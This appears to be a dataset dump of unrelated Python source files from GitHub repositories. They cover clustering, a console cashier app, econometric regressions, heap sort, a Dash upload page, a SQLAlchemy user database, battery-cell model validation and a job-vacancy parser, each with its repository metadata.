in_cluster:\r\n elementos_restantes.pop(elementos_restantes.index(x))\r\n radius.append(max_distance)\r\n\r\n label_counter += 1\r\n\r\n return np.array(centers), np.array(radius), labels\r\n\r\n\r\nclass ListOfClusters():\r\n \"\"\"Algoritmo de clustering ListOfClusters\r\n\r\n Parámetros\r\n ----------\r\n center_choise : {'p1', 'p2', 'p3', 'p4', 'p5'}, opcional, por defecto: 'p1'\r\n Heurística de selección del centro:\r\n - 'p1': aleatoria\r\n - 'p2': el elemento más cercano al centro anterior\r\n en el conjunto restante\r\n - 'p3': el elemento más alejado al centro anterior\r\n en el conjunto restante\r\n - 'p4': el elemento que minimice la suma de las\r\n distancia a los centros previos\r\n - 'p5': el elemento que maximice la suma de las\r\n distancia a los centros previos\r\n\r\n fixed_radius : float, opcional, por defecto: None\r\n La longitud de radio de cada cluster.\r\n\r\n fixed_size : int, opcional, por defecto: None\r\n El número de elementos en cada cluster.\r\n\r\n distance_metric : {'euclidean', 'cityblock'}, opcional,\r\n por defecto: 'euclidean'\r\n La medida de distancia a considerar.\r\n\r\n Atributos\r\n ----------\r\n cluster_centers_ : array, [n_clusters, n_features]\r\n Coordenadas a los centros de los clusters.\r\n\r\n cluster_radius_ : array, (n_clusters,)\r\n Radios de los clusters.\r\n\r\n labels_ :\r\n Categoria de cada punto.\r\n\r\n Ejemplo\r\n --------\r\n\r\n >>> import numpy as np\r\n >>> X = np.array([[1, 2], [1, 4], [1, 0],\r\n ... [4, 2], [4, 4], [4, 0]])\r\n >>> lc = ListOfClusters().fit(X)\r\n >>> lc.labels_\r\n array([0, 0, 0, 1, 1, 1], dtype=int32)\r\n >>> lc.cluster_centers_\r\n array([[ 1., 2.],\r\n [ 4., 2.]])\r\n\r\n \"\"\"\r\n\r\n def __init__(self, center_choise='p1', fixed_radius=1.0,\r\n fixed_size=None, distance_metric='euclidean'):\r\n\r\n self.center_choise = center_choise\r\n self.fixed_radius = fixed_radius\r\n self.fixed_size = fixed_size\r\n self.distance_metric = distance_metric\r\n\r\n def fit(self, X, y=None):\r\n \"\"\"Cálculo de la Lista de Clusters.\r\n\r\n Parámetros\r\n ----------\r\n X : arreglo, tamaño (n_samples, n_features)\r\n Las observaciones a clusterizar.\r\n\r\n y : Ignorado\r\n\r\n \"\"\"\r\n self.cluster_centers_, self.cluster_radius_, self.labels_ = \\\r\n build_list_clusters(\r\n X, center_choise=self.center_choise,\r\n fixed_radius=self.fixed_radius,\r\n fixed_size=self.fixed_size,\r\n distance_metric=self.distance_metric)\r\n return self\r\n\r\n def fit_predict(self, X, y=None):\r\n \"\"\"Cálculo de los centros de clusters y predicción del índice\r\n de cluster para cada instancia.\r\n\r\n Método conveniente; equivalente a llamar a fit(X) seguido\r\n de predict(X).\r\n\r\n Parámetros\r\n ----------\r\n X : arreglo, tamaño (n_samples, n_features)\r\n Nueva data para transformar.\r\n\r\n u : Ignorado\r\n\r\n Retorna\r\n -------\r\n labels : array, tamaño [n_samples,]\r\n Índice de los clusters a los que pertenece cada instancia.\r\n \"\"\"\r\n return self.fit(X).labels_\r\n","repo_name":"jmloyola/list-of-clusters","sub_path":"list_of_clusters.py","file_name":"list_of_clusters.py","file_ext":"py","file_size_in_byte":9543,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22664569643","text":"from item import Item\nfrom tabulate import tabulate\nfrom state import InputState\nfrom cart import Cart\n\ncart = Cart()\n\ndef menu():\n print(\"-\"*60)\n print(\"Kasirnya Andi\")\n print(\"-\"*60)\n print(\"1. Input Barang\")\n print(\"2. Hapus Barang\")\n print(\"3. Update Nama Barang\")\n print(\"4. Update Quantity Barang\")\n print(\"5. Update Harga Barang\")\n print(\"6. Reset Transaction\")\n print(\"9. Check Order\")\n print(\"0. Exit\\n\")\n \n choice = int(input('Masukkan pilihan anda : '))\n if choice == 1:\n add_item(InputState.NAME, Item(item_name= \"\", qty= 0, price= 0))\n if choice == 2:\n check_order()\n delete_item()\n elif choice == 3:\n check_order()\n update_item_name()\n elif choice == 4:\n check_order()\n update_item_qty()\n elif choice == 5:\n check_order()\n update_item_price()\n elif choice == 6:\n cart.reset_transaction()\n print(f\"Keranjang anda berhasil dihapus\\n {len(cart.items)}\")\n menu()\n elif choice == 9:\n check_order()\n menu()\n elif choice == 0:\n pass\n else:\n print(\"Menu yang anda pilih tidak tersedia\")\n menu()\n\n\n\ndef _check_if_item_already_exist(item_name: str) -> bool:\n if len(cart.items) == 0:\n return False\n count = Item(\"\", 0, 0)\n try:\n count = cart.items.get(item_name.strip().upper())\n except Exception as e:\n pass\n return count is not None and count.item_name != \"\"\n\ndef _get_item(item_name: str) -> Item:\n if len(cart.items) == 0:\n return False\n count = Item(\"\", 0, 0)\n try:\n count = cart.items.get(item_name.strip().upper())\n except Exception as e:\n pass\n return count \n\ndef delete_item():\n item_name = str(input(\"Masukkan nama barang yang ingin dihapus: \"))\n item_is_exist = _check_if_item_already_exist(item_name)\n if item_is_exist:\n cart.remove_items(item_name)\n print(f\"Item dengan nama {item_name} berhasil dihapus dari keranjang belanjaan anda\")\n print(\"Keranjang belanja anda: \")\n check_order()\n else: print(f\"Item dengan nama {item_name} tidak ditemukan dalam keranjang belanjaan anda\")\n menu()\n\ndef update_item():\n item_name = str(input(\"Masukkan nama barang yang ingin diupdate: \"))\n item_is_exist = _check_if_item_already_exist(item_name)\n if item_is_exist:\n add_item(InputState.QUANTITY, Item(item_name= item_name, qty=0,price= 0))\n else: \n print(f\"Item dengan nama {item_name} tidak ditemukan dalam keranjang belanjaan anda\")\n menu()\n\ndef update_item_qty():\n item_name = str(input(\"Masukkan nama barang yang ingin diupdate: \"))\n item = _get_item(item_name)\n if item is not None:\n new_qty = int(input(\"Masukkan quantity baru : \"))\n add_item(InputState.DONE, Item(item_name= item.item_name, qty=new_qty, price= item.price))\n else: \n print(f\"Item dengan nama {item_name} tidak ditemukan dalam keranjang belanjaan anda\")\n menu()\n\ndef update_item_price():\n item_name = str(input(\"Masukkan nama barang yang ingin diupdate: \"))\n item = _get_item(item_name)\n if item is not None:\n new_price = int(input(\"Masukkan harga baru : \"))\n add_item(InputState.DONE, Item(item_name= item.item_name, qty=item.qty, price= new_price))\n else: \n print(f\"Item dengan nama {item_name} tidak ditemukan dalam keranjang belanjaan anda\")\n menu()\n\ndef update_item_name():\n item_name = str(input(\"Masukkan nama barang yang ingin diupdate: \"))\n item = _get_item(item_name)\n if item is not None:\n new_name = str(input(\"Masukkan nama baru : \"))\n cart.remove_items(item_name)\n add_item(InputState.DONE, Item(item_name= new_name, qty=item.qty, price= item.price))\n \n else: \n print(f\"Item dengan nama {item_name} tidak ditemukan dalam keranjang belanjaan anda\")\n menu()\n\ndef add_item(inputState: InputState, item: Item):\n if inputState == InputState.NAME:\n try:\n nama_barang = str(input('Masukkan nama barang : '))\n if _check_if_item_already_exist(nama_barang):\n print(\"Item sudah ada di keranjang. Silahkan edit quantity nya atau masukkan item lain\")\n add_item(inputState, Item(item_name= nama_barang, price= item.price, qty= item.qty))\n\n add_item(inputState.update_state(inputState), Item(item_name= nama_barang, price= item.price, qty= item.qty))\n except Exception as e:\n print(\"Telah terjadi kesalahan. Silahkan memilih ulang menu\")\n menu()\n elif inputState == InputState.QUANTITY:\n try:\n qty = int(input('Masukkan quantity barang : '))\n add_item(inputState.update_state(inputState), \n Item(item_name= item.item_name, price= item.price, qty= qty))\n except Exception as e:\n print(\"Quantity yang anda masukkan salah. Quantity hanya bisa berupa angka\")\n add_item(InputState.QUANTITY, Item(item_name= item.item_name, qty= item.qty, price= item.price))\n elif inputState == InputState.PRICE:\n try:\n price = int(input('Masukkan harga barang : '))\n add_item(inputState.update_state(inputState), \n Item(item_name= item.item_name, price= price, qty= item.qty))\n except Exception as e:\n print(\"Harga yang anda masukkan salah. Harga hanya bisa berupa angka\")\n add_item(InputState.PRICE, Item(item_name= item.item_name, price= item.price, qty= item.qty))\n elif inputState == InputState.DONE:\n cart.add_item(Item(item_name= item.item_name, qty= item.qty, price= item.price))\n check_order()\n menu()\n\ndef check_order():\n try:\n if(len(cart.items) > 0):\n print(tabulate(tabular_data= cart.generate_items(), stralign= \"right\", headers= [\"No\", \"Nama Item\", \"Jumlah Item\", \"Harga/Item\", \"Total Harga\"]))\n else: \n print(\"Belum ada belanjaan\")\n menu()\n except Exception as e:\n print(f\"error checkorder {e}\")\n \n \n \n \n\n\n\n\nmenu()","repo_name":"wandywij/inventory","sub_path":"Cashier/module/cashier.py","file_name":"cashier.py","file_ext":"py","file_size_in_byte":6119,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19087953720","text":"import sqlite3\r\nimport matplotlib.pylab as plt\r\n\r\ndb = sqlite3.connect('MYDATA.db')\r\ncursor = db.cursor()\r\n\r\nkeyword1 = 'child'\r\ncountF = 0\r\ncountM = 0\r\n\r\n\r\ncursor.execute(\"SELECT field39, field30 FROM CDCB WHERE LOWER(field39) LIKE ?\", ('%' + keyword1 + '%',))\r\nmatching = cursor.fetchall()\r\ntotal = len(matching)\r\n\r\nfor row in matching:\r\n if row[1].lower() == 'female':\r\n countF +=1\r\n\r\nif(countF > 0):\r\n #percentage\r\n percentageF = round((countF/total *100),2)\r\nelse:\r\n percentageF = 0\r\n \r\n#closing database connection\r\ndb.close()\r\n\r\nprint(f\"total people: {countF}\")\r\nprint(f\"total medical: {total}\")\r\n\r\n#pie chart\r\nsize = [percentageF, 100- percentageF]\r\n\r\nlabels = ['Females', 'Males']\r\n\r\ncolors = ['#E6E6FA', '#DCAE96']\r\n\r\nplt.pie(size, labels = labels, autopct='%1.1f%%', startangle=140, colors = colors )\r\n\r\nplt.title(\"Percentage of People with Increased Child Or Adult Expenses\\n\")\r\n# Display the chart\r\nplt.axis('equal')\r\n\r\nplt.show()","repo_name":"elviazamora338/Data-Analysis-Intern-Project","sub_path":"Code/IncreasedChildEx.py","file_name":"IncreasedChildEx.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24904930770","text":"# Section 14.3 in Woodridge \"Introductory Econometrics: A Modern Approach\"\n# There are 3 approaches to fixed effects regressions.\n# approach 1: within transformation (reg_we)\n# approach 2: dummy variable approach (reg_dum)\n# approach 3: CRE (correlated random effects) approach (reg_cre)\n\nimport wooldridge as woo\nimport pandas as pd\nimport statsmodels.formula.api as smf\nimport linearmodels as plm\n\nwagepan = woo.dataWoo('wagepan')\nwagepan['t'] = wagepan['year']\nwagepan['entity'] = wagepan['nr']\nwagepan = wagepan.set_index(['nr'])\n\n# include group specific means:\nwagepan['married_b'] = wagepan.groupby('nr').mean()['married']\nwagepan['union_b'] = wagepan.groupby('nr').mean()['union']\nwagepan = wagepan.set_index(['year'], append=True)\n\n# estimate FE parameters in 3 different ways\n\n# approach 1: within transformation (reg_we)\nreg_we = plm.PanelOLS.from_formula(\n formula='lwage ~ married + union + C(t)*educ + EntityEffects',\n drop_absorbed=True, data=wagepan)\nresults_we = reg_we.fit()\n\n# approach 2: dummy variable approach (reg_dum)\nreg_dum = smf.ols(\n formula='lwage ~ married + union + C(t)*educ + C(entity)',\n data=wagepan)\nresults_dum = reg_dum.fit()\n\n# approach 3: CRE (correlated random effects) approach (reg_cre)\nreg_cre = plm.RandomEffects.from_formula(\n formula='lwage ~ married + union + C(t)*educ + married_b + union_b',\n data=wagepan)\nresults_cre = reg_cre.fit()\n\n# compare to RE estimates:\nreg_re = plm.RandomEffects.from_formula(\n formula='lwage ~ married + union + C(t)*educ',\n data=wagepan)\nresults_re = reg_re.fit()\n\nvar_selection = ['married', 'union', 'C(t)[T.1982]:educ']\n\n# print results:\ntable = pd.DataFrame({'b_we': round(results_we.params[var_selection], 4),\n 'b_dum': round(results_dum.params[var_selection], 4),\n 'b_cre': round(results_cre.params[var_selection], 4),\n 'b_re': round(results_re.params[var_selection], 4)})\nprint(f'table: \\n{table}\\n')\n\n# three approaches yield the estimated coefficients.","repo_name":"tomomitanaka00/Python_Causal_Inference","sub_path":"CRE_fixed_effects_regressions.py","file_name":"CRE_fixed_effects_regressions.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"44092835196","text":"from math import floor, inf\nfrom random import randrange\nimport time\n\nclass Heap:\n def __init__(self):\n self._heap = []\n \n def _compare(self, i, j):\n return i < j\n \n def getRoot(self):\n return self._heap[0]\n \n def insert(self, value):\n self._heap.append(value)\n\n def recursivelySwap(self, childIndex):\n if childIndex == 0:\n return\n \n parentIndex = floor((childIndex - 1) / 2)\n childValue = self._heap[childIndex]\n parentValue = self._heap[parentIndex]\n \n if self._compare(childValue, parentValue):\n self._heap[parentIndex] = childValue\n self._heap[childIndex] = parentValue\n recursivelySwap(self, parentIndex)\n\n recursivelySwap(self, len(self._heap) - 1)\n\n def removeRoot(self):\n # Swap last item with root\n self._heap[0], self._heap[-1] = self._heap[-1], self._heap[0]\n # Remove last item\n root = self._heap.pop()\n\n def recursivelySwap(self, parentIndex):\n \n if parentIndex >= len(self._heap):\n return\n \n parentValue = self._heap[parentIndex]\n child1Index = parentIndex * 2 + 1\n child2Index = parentIndex * 2 + 2\n\n child1Value = None if child1Index >= len(self._heap) else self._heap[child1Index]\n child2Value = None if child2Index >= len(self._heap) else self._heap[child2Index]\n \n if child1Value == None:\n return\n elif child2Value == None:\n smallestChildIndex = child1Index\n else:\n smallestChildIndex = child1Index if child1Value < child2Value else child2Index\n\n smallestChildValue = self._heap[smallestChildIndex]\n\n if self._compare(smallestChildValue, parentValue):\n self._heap[parentIndex] = smallestChildValue\n self._heap[smallestChildIndex] = parentValue\n recursivelySwap(self, smallestChildIndex)\n \n recursivelySwap(self, 0)\n return root\n\n\ndef heapSort(a_list):\n heap = Heap()\n result = []\n for item in a_list:\n heap.insert(item)\n while heap._heap:\n result.append(heap.removeRoot())\n return result\n\nrand_list = [randrange(1, 10000) for x in range(10000)]\n\ndef bubble_sort(alist):\n is_sorted = False\n while is_sorted == False:\n num_swaps = 0\n for i in range(len(alist) - 1):\n a = alist[i]\n b = alist[i + 1]\n if a > b:\n alist[i] = b\n alist[i + 1] = a\n num_swaps += 1\n if num_swaps == 0:\n is_sorted = True\n return alist\n \nstart0 = time.time()\nsorted0 = bubble_sort(rand_list)\nend0 = time.time()\nprint(end0 - start0)\n\nstart1 = time.time()\nsorted1 = heapSort(rand_list)\nend1 = time.time()\nprint(end1 - start1)\n\nstart2 = time.time()\nsorted2 = rand_list.sort()\nend2 = time.time()\nprint(end2 - start2)","repo_name":"p-gonzo/python-toy-problems","sub_path":"heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34142732485","text":"import six\nfrom datetime import datetime, date\nfrom decimal import Decimal\n\n\nTESTS = ((six.text_type, 'string'),\n (bool, 'bool'),\n (int, 'integer'),\n (float, 'float'),\n (date, 'date'),\n (datetime, 'datetime'),\n (Decimal, 'decimal'))\n\n\ndef name(value):\n \"\"\"Get the string title for a particular type.\n\n Given a value, get an appropriate string title for the type that can\n be used to re-cast the value later.\n \"\"\"\n if value is None:\n return 'any'\n for (test, name) in TESTS:\n if isinstance(value, test):\n return name\n return 'string'\n","repo_name":"pudo/typecast","sub_path":"typecast/name.py","file_name":"name.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"} +{"seq_id":"38505390534","text":"import dash_table\r\nimport dash \r\nimport dash_bootstrap_components as dbc \r\nimport dash_core_components as dcc \r\nimport dash_html_components as html\r\nfrom dash_extensions import Download\r\ndef Homepage():\r\n HomePage = html.Div([\r\n html.Br(),\r\n html.Br(),\r\n html.Br(),\r\n dcc.Upload(\r\n id='upload-data',\r\n children=html.Div([\r\n\r\n html.Button('Select Files',style={'display': 'inline-block','padding': '15px 25px', 'button-radius': '1px', 'cursor': 'pointer', 'text-align':'center', 'cursor': 'pointer',\r\n 'color': 'white', 'font-weight':'bold','border-radius': '15px','box-shadow': '0 2px #999','backgroundColor':'#303030'},),\r\n \r\n ],style={'textAlign': 'center'}\r\n ),\r\n \r\n # Allow multiple files to be uploaded\r\n multiple=True\r\n),\r\nhtml.Br(),\r\n html.Br(),\r\n # html.Div(id='click'),\r\n \r\nhtml.Div([\r\n html.Div([dcc.Loading(children=[ html.Div(id='output-data-upload', style ={ 'display' : 'flex', 'justify-content' : 'center'}),html.Br(),],type='circle'),\r\n],style={'width':'500px'}),\r\n\r\n html.Br(),\r\n\r\nhtml.Div([ html.Button('Clean Data',style={'display': 'inline-block', 'padding': '15px 25px','button-radius': '1px','cursor': 'pointer','text-align':'center',\r\n 'cursor': 'pointer', 'color': 'white', 'font-weight':'bold','border-radius': '15px', 'box-shadow': '0 2px #999', 'backgroundColor':'#303030'},id='btn-1',n_clicks=0)],style={'height':'100px','width':'500px','left':'10%'}),\r\n \r\n\r\n\r\n \r\nhtml.Div([dcc.Loading(children=[html.Div([html.Div(id='cleaned-data', style ={ 'display' : 'flex', 'justify-content' : 'center'}),])],type='circle')],style={'width':'500px'}),\r\nhtml.Br(),\r\n\r\n\r\nhtml.Div([html.Button(\"Download csv\",style={'display': 'inline-block', 'padding': '15px 25px','button-radius': '1px','cursor': 'pointer','text-align':'center',\r\n 'cursor': 'pointer', 'color': 'white', 'font-weight':'bold','border-radius': '15px', 'box-shadow': '0 2px #999', 'backgroundColor':'#303030'}, id=\"btnn\"), Download(id=\"download\")])\r\n],\r\nstyle={'position':'absolute','left':'45%','right':'20%','width':'500px'}\r\n),\r\n\r\n\r\n],style={}\r\n\r\n)\r\n return HomePage\r\n\r\n\r\n\r\ndef Charts():\r\n Charts = html.Div([\r\n dcc.Graph(\r\n id='histogram',\r\n figure={\r\n \r\n }\r\n )\r\n ])\r\n\r\n return Charts\r\n","repo_name":"shrestha-Prithivi/Auto-Wrangler","sub_path":"pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4311487904","text":"#!/usr/bin/env python3\n\"\"\"DB module\n\"\"\"\nfrom sqlalchemy import create_engine, tuple_\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.exc import InvalidRequestError\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.orm.session import Session\n\nfrom user import Base, User\n\n\nclass DB:\n \"\"\"DB class\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Initialize a new DB instance\n \"\"\"\n self._engine = create_engine(\"sqlite:///a.db\", echo=False)\n Base.metadata.drop_all(self._engine)\n Base.metadata.create_all(self._engine)\n self.__session = None\n\n @property\n def _session(self) -> Session:\n \"\"\"Memoized session object\n \"\"\"\n if self.__session is None:\n DBSession = sessionmaker(bind=self._engine)\n self.__session = DBSession()\n return self.__session\n\n def add_user(self, email: str, hashed_password: str) -> User:\n \"\"\"\n Add user to DB\n \"\"\"\n try:\n user = User(email, hashed_password)\n self._session.add(user)\n self._session.commit()\n except Exception:\n self._session.rollback()\n user = None\n return user\n\n def find_user_by(self, **kwargs) -> User:\n \"\"\"\n Returns the first row found in the users table\n \"\"\"\n field = []\n values = []\n for k, v in kwargs.items():\n if not hasattr(User, k):\n raise InvalidRequestError()\n else:\n field.append(getattr(User, k))\n values.append(v)\n result = self._session.query(User).filter(\n tuple_(*field).in_([tuple(values)])).first()\n if result:\n return result\n else:\n raise NoResultFound()\n\n def update_user(self, user_id: int, **kwargs) -> None:\n \"\"\"\n Updates the user by user_id\n \"\"\"\n user = self.find_user_by(id=user_id)\n if user is None:\n return\n fields_to_update = {}\n for key, value in kwargs.items():\n if hasattr(User, key):\n fields_to_update[getattr(User, key)] = value\n else:\n raise ValueError\n self.__session.query(User).filter(User.id == user_id).update(\n fields_to_update,\n synchronize_session=False\n )\n self._session.commit()\n","repo_name":"Anwar3006/alx-backend-user-data","sub_path":"0x03-user_authentication_service/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40623095723","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 12 20:17:18 2018\n\n@author: wuzhiqiang\n\"\"\"\nimport os\nimport build_model as bm\nimport utils as ut\nimport preprocess_data as ppd\nimport read_data as rd\nimport sql_operation as sql\nimport pymysql\nimport time\nimport pandas as pd\nimport random\n\ndef get_time(data, index):\n start_time = data['start_time'].iloc[index]\n end_time = data['end_time'].iloc[index]\n return start_time, end_time\n\ndef get_score_data(file_name, cell_no):\n score_data = pd.read_csv(file_name+'.csv', encoding='gb18030')\n score_data = score_data[score_data['cell_no'] == int(cell_no)]\n return score_data\n \ndef get_score(score_data, mode='fixed'):\n if mode == 'fixed':\n index = 100\n elif mode == 'random':\n index = random.randint(0, len(score_data))\n score = score_data['c'].iloc[index]\n start_time, end_time = get_time(score_data, index)\n return score, start_time, end_time\n \ndef get_cell_data(config, cell_no, start_time, end_time, x='0', **kwg):\n \"\"\"\n #kwg包含数据切片要求\n #interval 数据点数量\n \"\"\"\n table_name = 'cell_'+cell_no\n conn = sql.create_connection(config)\n cursor = conn.cursor(cursor=pymysql.cursors.DictCursor)\n start = time.time()\n sql_cmd = \"select * from %s where stime between '%s' and '%s'\"\\\n %(table_name, start_time, end_time)\n cursor.execute(sql_cmd)#获取数据行数\n rows = cursor.fetchall()\n if len(rows) > 0:\n df = pd.DataFrame(rows)\n end = time.time()\n interval = {}\n index = {}\n data_dict = {}\n print('Finished read the data from the database which took %d seconds.'%(end-start))\n if 'interval' in kwg:\n interval = kwg['interval']\n else:\n interval['default'] = len(df)\n if 'index' in kwg:\n index = kwg['index']\n else:\n index['default'] = 0\n for key, value in index.items():\n for k, v in interval.items():\n v = min((len(df)-value), v)\n data_dict[key+'_'+k+x] = df[value:(value+v)].copy(deep=True)\n return data_dict\n else:\n return None\n\ndef get_slip_index(soc, total_num):\n \"\"\"\n #根据给定的soc区间获得数据切片位置\n \"\"\"\n soc = min(100, soc)\n index = total_num * 100 // soc\n return index\n\ndef generate_data(raw_data):\n \"\"\"\n \"\"\"\n state = 'rest'\n file_dir = os.path.join(os.path.abspath('.'), 'data')\n file_name = r'processed_%s_data'%state\n cell_no = '15'\n config = {'s': 'localhost', 'u': 'root', 'p': 'wzqsql', 'db': 'cell_lg36',\n 'port': 3306}\n index_list = {'100soc':0, '90soc':300, '80soc':600, '70soc':900, '60soc':1200, '50soc':1500}\n interval_list = {'5mins':300, '10mins':600, '20mims':1200, '30mins':1800, '60mins':3000}\n #index_list = {'100soc':1500}\n #interval_list = {'60mins':3000}\n score_data = get_score_data(os.path.join(file_dir, file_name), cell_no)\n score, start_time, end_time = get_score(score_data, mode='random')\n print(score, start_time, end_time)\n data_dict = get_cell_data(config, cell_no, start_time, end_time, x='-1',\n interval=interval_list, index=index_list)\n df = pd.DataFrame()\n for key, value in data_dict.items():\n #\n if len(value) > 0:\n data = ppd.preprocess_data(file_dir, 'valid_'+file_name, cell_no, data0=value)\n data['c'] = score\n df = df.append(data)\n \ndef main():\n for i in range(20):\n state = 'charge'\n file_dir = os.path.join(os.path.abspath('.'), 'data')\n file_name = r'processed_%s_data'%state\n cell_no = '15'\n config = {'s': 'localhost', 'u': 'root', 'p': 'wzqsql', 'db': 'cell_lg36',\n 'port': 3306}\n index_list = {'100soc':0, '90soc':300, '80soc':600, '70soc':900, '60soc':1200, '50soc':1500}\n interval_list = {'5mins':300, '10mins':600, '20mims':1200, '30mins':1800, '60mins':3000}\n #index_list = {'100soc':1500}\n #interval_list = {'60mins':3000}\n score_data = get_score_data(os.path.join(file_dir, file_name), cell_no)\n score, start_time, end_time = get_score(score_data, mode='random')\n print(score, start_time, end_time)\n data_dict = get_cell_data(config, cell_no, start_time, end_time, x='0',\n interval=interval_list, index=index_list)\n df = pd.DataFrame()\n for key, value in data_dict.items():\n #\n if len(value) > 0:\n data = ppd.preprocess_data(file_dir, 'valid_'+file_name, cell_no, data0=value)\n data['c'] = score\n df = df.append(data)\n \n rd.save_data_csv(df, 'valid_'+file_name, file_dir)\n \n file_name = os.path.join(file_dir, r'valid_processed_%s_data.csv'%state)\n data_x, data_y = bm.calc_feature_data(file_name, data=df)\n model_dir = os.path.join(os.path.abspath('.'), '%s_g_pkl'%state)\n model_name = 'RandomForestRegressor.pkl'\n model_name = os.path.join(model_dir, model_name)\n model = ut.load_model(model_name)\n print(model)\n data_x, data_y = ut.add_min_max(data_x, data_y, os.path.join(model_dir, 'min_max.csv'))\n res = ut.valid_model(model, data_x, data_y, feature_method='f_regression')\n res.index = data_dict.keys()\n print(res)\n output = os.path.join(os.path.join(os.path.abspath('.'), 'g_result'), 'vaild_%s_result.csv'%state)\n res.to_csv(output, mode='a', encoding='gb18030')\n \"\"\"\n data_x, data_y = bm.calc_feature_data(os.path.join(os.path.join(file_dir, r'processed_%s_data.csv'%state)))\n res0 = ut.valid_model(model, data_x, data_y, feature_method='f_regression')\n print(res0)\n \"\"\"\nif __name__ == '__main__':\n main()","repo_name":"johnnyWzq/cell_test_data","sub_path":"valid_model.py","file_name":"valid_model.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7526250421","text":"import datetime\nimport json\nimport logging.config\n\nimport requests\n\nfrom parsers_and_bot.models import Vacancy\n\nfrom .logger_config import configuring_dict\nfrom decouple import config\n\nlogging.config.dictConfig(configuring_dict)\nlogger = logging.getLogger('app_logger')\n\nTOKEN = config(\"SJ_TOKEN\")\nSUPER_JOB_API = \"https://api.superjob.ru/2.33/vacancies/?keywords[srws][]=1&keywords[skwc][]=and&keywords[keys][]=\"\nheaders = {\"X-Api-App-Id\": TOKEN}\n\n\ndef go_parse_sj(\n vacancy_name,\n user_name,\n tg_chat_id,\n sity,\n start_when_unix,\n only_with_salary,\n salary_max,\n salary_min,\n):\n\n payload = {\n \"page\": 0,\n \"count\": 100,\n \"town\": sity,\n \"date_published_from\": start_when_unix,\n \"payment_from\": salary_min,\n \"payment_to\": salary_max,\n \"no_agreement\": int(only_with_salary),\n }\n\n req = requests.get(SUPER_JOB_API + vacancy_name, params=payload, headers=headers)\n data = req.content.decode()\n req.close()\n jsObj = json.loads(data)\n\n with open(\"./resources/files_sj/data_file.json\", mode=\"w\", encoding=\"utf8\") as f:\n f.write(json.dumps(jsObj, ensure_ascii=False))\n try:\n with open(\"./resources/files_sj/data_file.json\", encoding=\"utf8\") as f:\n jsonText = f.read()\n except FileNotFoundError as error:\n logger.exception(error)\n\n jsonObj = json.loads(jsonText)\n\n count = 0\n\n for objects in jsonObj[\"objects\"]:\n vac_id = objects[\"id\"]\n name = objects[\"profession\"]\n url = objects[\"link\"]\n published_day = str(\n datetime.datetime.fromtimestamp(objects[\"date_published\"])\n ).split()[0]\n published_time = str(\n datetime.datetime.fromtimestamp(objects[\"date_published\"])\n ).split()[1]\n\n try:\n Vacancy.objects.create(\n vac_id=vac_id,\n name=name,\n url=url,\n published_day=published_day,\n published_time=published_time,\n for_user=user_name,\n tg_id=tg_chat_id,\n )\n count += 1\n except Exception as error:\n logger.exception(error)\n return count\n","repo_name":"ruslanakhmett/job_filter_app","sub_path":"parsers_and_bot/management/commands/manual_parse_sj.py","file_name":"manual_parse_sj.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14704975319","text":"progress_list = ['In Progress', 'Revisions', 'Testing', 'Deployment']\n\nclass Link:\n admin = '/admin'\n settings = '/dashboard/settings'\n login = '/login'\n dashboard = '/dashboard'\n project = '/dashboard/'\n task = '/dashboard//'\n \nclass Message:\n #System\n next_update = 'This feature will be in the next update.'\n\n #User\n not_logged_in = 'User not logged in.'\n access_granted = 'Access Granted.'\n access_not_granted = 'Access Denied.'\n email_exists = 'Email already exists. User not registered.'\n username_exists = 'Username already exists. User not registered.'\n user_registered = 'User registered.'\n user_not_registered = 'User not registered.'\n user_archived = 'User archived.'\n user_not_archived = 'User not archived.'\n\n #Project\n project_exists = 'Project name already exists. Project not created.'\n project_created = 'Project created.'\n project_not_created = 'Project not created.'\n project_not_opened = 'Project not opened.'\n project_archived = 'Project archived.'\n project_not_archived = 'Project not archived.'\n project_deleted = 'Project deleted.'\n project_not_deleted = 'Project not deleted.'\n\n #Task\n task_exists = 'Task name already exists. Task not created.'\n task_created = 'Task created.'\n task_not_created = 'Task not created.'\n task_not_opened = 'Task not opened.'\n task_archived = 'Task archived.'\n task_not_archived = 'Task not archived.'\n task_moved = 'Task moved.'\n task_not_moved = 'Task not moved.'\n\n #Subtask\n subtask_exists = 'Subtask name already exists. Subtask not created.'\n subtask_created = 'Subtask created.'\n subtask_not_created = 'Subtask not created.'\n subtask_archived = ' Subtask archived.'\n subtask_not_archived = 'Subtask archived.'","repo_name":"mcdmasakayan/Hiraya-Collab","sub_path":"TixSys Final Revision/model/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8911508792","text":"\nfrom django.shortcuts import render\n# from ccapp.models import AppUser\nfrom ccapp.models import AppUser\nfrom ccapp.forms import LoginForm, RegistrationForm\nfrom datetime import datetime\nfrom django.core.mail 